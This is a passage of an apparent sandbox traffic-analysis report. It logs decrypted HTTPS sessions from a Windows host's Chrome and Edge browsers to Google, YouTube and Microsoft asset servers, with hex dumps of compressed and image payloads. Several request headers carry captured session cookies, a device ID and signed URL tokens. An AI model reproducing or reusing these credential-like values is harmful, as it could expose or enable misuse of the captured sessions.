kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: 52 c5 20 b6 a4 48 19 73 09 90 37 0d d3 2e 23 23 eb d2 e0 d6 b0 0d eb fd 5b f2 82 bf 80 16 85 d4 fa 82 1f a7 1a 11 ac ad e1 0d 87 5d 09 f6 a3 a6 8d e0 9d c2 49 09 36 cf 76 1a 5c 85 ac d2 47 3c 8c 8d a8 f3 87 91 ad 05 43 31 3b fe 8c 3e 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 Data Ascii: R Hs7.##[]I6v\G<C1;>Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7
2024-01-17 23:35:02 UTC	14317	IN	Data Raw: fc f8 51 71 0d 01 11 fe 00 6c ad b9 cf 2a 52 41 00 c6 a0 60 ae 5f 39 16 83 80 21 df 90 49 17 50 db 2e 7d f9 6b 5d 3a 1d 4c 36 2c e1 a2 0a 28 ab fc c9 51 58 2d 8f 7b d5 2a d9 68 1c ba 7c 4a 4b dc 17 0d c0 dc 2d 91 32 1b 70 6b e2 13 1f 96 38 e6 e1 28 aa 7a 68 03 ee 80 b5 3b 12 61 75 e9 1b 80 49 37 e3 81 63 57 87 03 5d 30 c4 2c 68 be 29 95 24 e0 73 e2 94 ba 7c 22 47 ea b4 f3 4a ab de 10 bb 0f 22 b0 e3 03 f1 16 c4 09 e2 54 66 ca 62 e0 bd 45 b4 68 87 69 72 a9 a8 3a 28 8c ad c8 95 24 60 28 0b c5 a8 db e3 d5 17 cd 43 46 b4 fb 46 fd a3 14 49 08 2b a0 d4 0b 48 65 a7 34 02 ce 86 25 ec 4d 18 c8 06 95 b7 db ae 2c d4 04 dd 90 c7 1a 26 c2 da 18 8e c3 e7 b6 d0 48 5c c7 b0 14 4c 7c f1 b4 2a ac 33 ac 8a 9e 31 0d 6c 3e aa 0c 15 a1 45 32 ac 4e d6 6f ba 9a 27 26 95 df 33 99 Data Ascii: QqlRA`_9!IP.}k]:L6,(QX-{h\|JK-2pk8(zh;auI7cW]0,h)$s\|"GJ"TfbEhir:($`(CFFI+He4%M,&H\L\|*31l>E2No'&3

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.6	49891	172.253.62.84	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:01 UTC	1468	OUT	GET /favicon.ico HTTP/1.1 Host: accounts.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Chrome-ID-Consistency-Request: version=1,client_id=77185425430.apps.googleusercontent.com,device_id=ce97e620-e5c8-47da-b1c2-66080ca9ba90,signin_mode=all_accounts,signout_mode=show_confirmation X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://accounts.google.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: NID=511=UBeNCkZ3L8yXcx8qh4JFUXkwkNC9IrdiRdbjSTjqSiFh8WrRcbKr_rOJbgHY6TA4RT-6ps0bhemfwCPBsLMgPT7-gTcWqHvZvZbafOpkqRy0dLyYG9AjP2vbUBomarnc9pcZVlhHkUeUaWMurD0GGXyW05_B_1IyUNYEELmyqRg; __Host-GAPS=1:5-VqxJMLVh1Z_yvAADCgON_4YNkrEw:2Sz4ABSfAkPCYE7F
2024-01-17 23:35:02 UTC	1064	IN	HTTP/1.1 302 Moved Temporarily Content-Type: text/html; charset=UTF-8 X-Frame-Options: DENY Vary: Sec-Fetch-Dest, Sec-Fetch-Mode, Sec-Fetch-Site Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Wed, 17 Jan 2024 23:35:02 GMT Location: https://www.google.com/favicon.ico Strict-Transport-Security: max-age=31536000; includeSubDomains Content-Security-Policy: script-src 'report-sample' 'nonce-djFI1ZQOuwdpionhIW2I9g' 'unsafe-inline' 'unsafe-eval';object-src 'none';base-uri 'self';report-uri /cspreport Content-Security-Policy: require-trusted-types-for 'script';report-uri /cspreport Report-To: {"group":"coop_gse_qebhlk","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/gse_qebhlk"}]} Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="coop_gse_qebhlk" Content-Length: 216 X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Server: GSE Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:02 UTC	216	IN	Data Raw: 3c 48 54 4d 4c 3e 0a 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 0a 3c 42 4f 44 59 20 42 47 43 4f 4c 4f 52 3d 22 23 46 46 46 46 46 46 22 20 54 45 58 54 3d 22 23 30 30 30 30 30 30 22 3e 0a 3c 48 31 3e 4d 6f 76 65 64 20 54 65 6d 70 6f 72 61 72 69 6c 79 3c 2f 48 31 3e 0a 54 68 65 20 64 6f 63 75 6d 65 6e 74 20 68 61 73 20 6d 6f 76 65 64 20 3c 41 20 48 52 45 46 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 66 61 76 69 63 6f 6e 2e 69 63 6f 22 3e 68 65 72 65 3c 2f 41 3e 2e 0a 3c 2f 42 4f 44 59 3e 0a 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Moved Temporarily</TITLE></HEAD><BODY BGCOLOR="#FFFFFF" TEXT="#000000"><H1>Moved Temporarily</H1>The document has moved <A HREF="https://www.google.com/favicon.ico">here</A>.</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.6	49893	142.251.40.238	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1203	OUT	GET /s/desktop/80338919/img/favicon_32x32.png HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: VISITOR_PRIVACY_METADATA=CgJERRIEEgAgRQ%3D%3D; CONSENT=PENDING+538; __Secure-YEC=CgtiU1BPUHlZdVg5ZyiMyKGtBjIKCgJERRIEEgAgRQ%3D%3D; PREF=tz=Europe.Zurich
2024-01-17 23:35:02 UTC	649	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 1555 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed, 17 Jan 2024 15:12:18 GMT Expires: Thu, 16 Jan 2025 15:12:18 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 17 Jan 2024 14:17:14 GMT Content-Type: image/png Age: 30164 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-01-17 23:35:02 UTC	603	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 28 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 36 2d 63 31 33 38 20 37 39 2e 31 35 39 38 32 34 2c 20 32 30 31 36 2f 30 39 2f 31 34 2d 30 31 3a 30 39 3a 30 31 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<(iTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.6-c138 79.159824, 2016/09/14-01:09:01
2024-01-17 23:35:02 UTC	952	IN	Data Raw: 37 39 34 36 42 41 42 31 41 46 46 39 39 36 32 37 46 22 20 78 6d 70 4d 4d 3a 44 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 33 33 42 33 34 36 39 32 38 46 34 43 31 31 45 37 39 34 36 42 41 42 31 41 46 46 39 39 36 32 37 46 22 3e 20 3c 78 6d 70 4d 4d 3a 44 65 72 69 76 65 64 46 72 6f 6d 20 73 74 52 65 66 3a 69 6e 73 74 61 6e 63 65 49 44 3d 22 78 6d 70 2e 69 69 64 3a 31 33 34 34 31 46 43 34 38 46 34 43 31 31 45 37 39 34 36 42 41 42 31 41 46 46 39 39 36 32 37 46 22 20 73 74 52 65 66 3a 64 6f 63 75 6d 65 6e 74 49 44 3d 22 78 6d 70 2e 64 69 64 3a 33 33 42 33 34 36 39 30 38 46 34 43 31 31 45 37 39 34 36 42 41 42 31 41 46 46 39 39 36 32 37 46 22 2f 3e 20 3c 2f 72 64 66 3a 44 65 73 63 72 69 70 74 69 6f 6e 3e 20 3c 2f 72 64 66 3a 52 44 46 3e 20 3c 2f 78 3a Data Ascii: 7946BAB1AFF99627F" xmpMM:DocumentID="xmp.did:33B346928F4C11E7946BAB1AFF99627F"> <xmpMM:DerivedFrom stRef:instanceID="xmp.iid:13441FC48F4C11E7946BAB1AFF99627F" stRef:documentID="xmp.did:33B346908F4C11E7946BAB1AFF99627F"/> </rdf:Description> </rdf:RDF> </x:

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.6	49895	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1914	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&ctier=L&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:02 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:02 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.6	49894	74.125.1.166	443	3488	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	1906	OUT	GET /videoplayback?expire=4270472996&ei=-uFNQh5txcmJSA7RUUvW6ti&ip=0.16.65.16&id=o-AFNUgc8ie4UDxg5BX6NylC1tYWE2UNTg0UhYW3BQWlr4o&itag=18&source=youtube&requiressl=yes&mh=X6&mm=458%2C23244%2C40999&mn=tIXQK%2CPFcB0%2CHv9lm&ms=tIXQK%2CPFcB0%2CHv9lm&mv=t&mvi=1&pl=26&initcwndbps=6086012&siu=1&spc=YMyTvzafjmQEXNneymJ8VxaRI9K39WIY_jBqFPfolJ0A&vprv=1&svpuc=1&mime=video%2Fmp4&ns=AdU1asG7fzzfAPcTr4VrvGXP&cnr=26&ratebypass=yes&dur=68643808&lmt=8594843229343748&mt=4270472996&fvip=3&c=WEB&txp=6086012&n=gjtr8jSjFest6pec&sparams=expire%2Cei%2Cip%2Cid%2Citag%2Csource%2Crequiressl%2Csiu%2Cspc%2Cvprv%2Csvpuc%2Cmime%2Cns%2Ccnr%2Cratebypass%2Cdur%2Clmt&sig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A&lsparams=mh%2Cmm%2Cmn%2Cms%2Cmv%2Cmvi%2Cpl%2Cinitcwndbps&lsig=zppDUWKj_-KGjMPGAZpTOOnHKEUBYAEhYh9X27xzTHUmBCnJfiwDIsNw-ASpImB7kBmn0qqYETNnUCEbzpGh38bub8qcYyUhfxngZbKe6S_A HTTP/1.1 Host: rr1---sn-q4fl6nlz.googlevideo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-arch: "x86" sec-ch-ua-full-version: "117.0.5938.134" sec-ch-ua-platform-version: "10.0.0" sec-ch-ua-full-version-list: "Google Chrome";v="117.0.5938.134", "Not;A=Brand";v="8.0.0.0", "Chromium";v="117.0.5938.134" sec-ch-ua-bitness: "64" sec-ch-ua-model: "" sec-ch-ua-wow64: ?0 sec-ch-ua-platform: "Windows" Accept: / Origin: https://www.youtube.com X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIk6HLAQj6mM0BCIWgzQEI3L3NAQiPys0BCLnKzQEI6dLNAQjo1c0BCMvWzQEIqNjNAQj5wNQVGLrSzQEY642lFw== Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://www.youtube.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-01-17 23:35:02 UTC	785	IN	HTTP/1.1 403 Forbidden Last-Modified: Wed, 02 May 2007 10:26:10 GMT Content-Type: text/plain Content-Length: 0 Connection: close Access-Control-Allow-Origin: https://www.youtube.com Access-Control-Allow-Credentials: true Timing-Allow-Origin: https://www.youtube.com Access-Control-Expose-Headers: Client-Protocol, Content-Length, Content-Type, X-Bandwidth-Est, X-Bandwidth-Est2, X-Bandwidth-Est3, X-Bandwidth-App-Limited, X-Bandwidth-Est-App-Limited, X-Bandwidth-Est-Comp, X-Bandwidth-Avg, X-Head-Time-Millis, X-Head-Time-Sec, X-Head-Seqnum, X-Response-Itag, X-Restrict-Formats-Hint, X-Sequence-Num, X-Segment-Lmt, X-Walltime-Ms Vary: Origin Cross-Origin-Resource-Policy: cross-origin X-Content-Type-Options: nosniff Date: Wed, 17 Jan 2024 23:35:02 GMT Server: gvs 1.0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.6	49896	13.107.246.40	443	8060	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-01-17 23:35:02 UTC	605	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?sv=2017-07-29&sr=c&sig=ODCnll3A%2Fpr7IBDaNsDR2zA%2FOssZl6xdmLkM6vzzbZ0%3D&st=2021-01-01T00%3A00%3A00Z&se=2024-03-31T00%3A00%3A00Z&sp=r&assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-01-17 23:35:02 UTC	629	IN	HTTP/1.1 200 OK Date: Wed, 17 Jan 2024 23:35:02 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Content-MD5: DLY06IpEajvyCGoNUcMp0A== Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: "0x8DBC9B5C40EBFF4" x-ms-request-id: 13be6b88-401e-0042-3d6f-494313000000 x-ms-version: 2017-07-29 x-ms-lease-status: unlocked x-ms-lease-state: available x-ms-blob-type: BlockBlob x-ms-server-encrypted: true Cache-Control: public, max-age=604800 x-azure-ref: 20240117T233502Z-yebg7fdk6h0959869my72987dg00000000sg000000003154 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-01-17 23:35:02 UTC	15755	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: dc ec 8e 4d 1e 0f 36 52 62 6f 5c f3 a4 79 e4 26 bd 6c 1e f9 fd e2 1f 8d ad 73 72 b1 a6 b7 19 44 b0 85 7d 4c 10 b7 ad e2 24 9f 8b e5 22 a5 38 7d a8 02 c7 0a 04 ba b8 75 26 ce 55 c2 08 bf 5c 90 e7 68 0d 8c 7c 07 bb 14 ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 Data Ascii: M6Rbo\y&lsrD}L$"8}u&U\h\|[T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PV
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: 3a eb 83 6a 5b 35 cb f3 ab 69 39 53 0b a1 22 dd ab d0 a3 8d e4 30 22 b3 5a 41 6f 44 0d 8c d6 9b eb 15 92 ab ef 54 e1 d5 35 3b 8a 08 94 56 c6 75 11 82 12 e0 b7 2c 9c d4 28 cd 82 09 ad 54 24 d2 ae 26 b9 4f 37 c4 67 1e 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb Data Ascii: :j[5i9S"0"ZAoDT5;Vu,(T$&O7gkD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#
2024-01-17 23:35:02 UTC	16384	IN	Data Raw: e2 c5 79 85 08 d3 dc 48 52 f5 b6 dd ed 28 17 25 ea d4 61 9c b8 97 49 3a d3 92 94 d0 6f 22 de 01 7f 8b 0d 3f 51 42 08 7f 2e 10 03 ae dd 15 3e 36 a4 6a 67 7e 2a 42 7f 7e 14 be 1b ef d2 39 b9 d3 a0 0f a6 db fd c0 cf 6a 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f Data Ascii: yHR(%aI:o"?QB.>6jg~B~9jsg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM]z_
